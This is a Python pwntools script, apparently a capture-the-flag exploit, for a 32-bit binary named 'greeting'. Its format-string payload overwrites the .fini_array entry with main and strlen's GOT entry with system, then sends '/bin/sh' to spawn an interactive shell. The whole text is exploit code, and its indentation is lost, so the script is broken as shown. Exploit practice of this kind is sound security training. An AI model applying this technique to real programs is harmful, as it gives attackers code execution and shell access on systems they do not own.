```python
#!/usr/bin/env python3
from pwn import *
from sys import argv

context(os='linux', arch='i386', log_level='info')
FILE_NAME = 'greeting'

if len(argv) > 1:
if argv[1][0] == 'd':
gdb_cmd = """
set follow-fork-mode parent
set $fa = 0x8049934
# printf
b * main + 98
c
"""
r = gdb.debug([FILE_NAME], gdb_cmd)
else:
r = process(FILE_NAME)

fini_array_addr = 0x8049934
system_plt_addr = 0x8048496
main_addr = 0x80485ed
strlen_got_addr = 0x8049a54

# make payload
msg_header = b"Nice to meet you, "
offset = 12

## adjust 2byte for FSB
payload = b"AA"

payload += p32(fini_array_addr)
payload += p32(strlen_got_addr)

## fini_array <- main
payload += "%{}c%{}$hhn".format(0xed - len(payload) - len(msg_header), offset).encode()
offset += 1

## strlen <- system
payload += "%{}c%{}$n".format(system_plt_addr - 0xed, offset).encode()
log.info("payload length -> {}".format(len(payload)))

# attack
log.info("fini_array <- main & strlen <- system")
r.sendlineafter("Please tell me your name... ", payload)
pause(10)

r.sendlineafter("Please tell me your name... ", b"/bin/sh\x00")
r.interactive()
```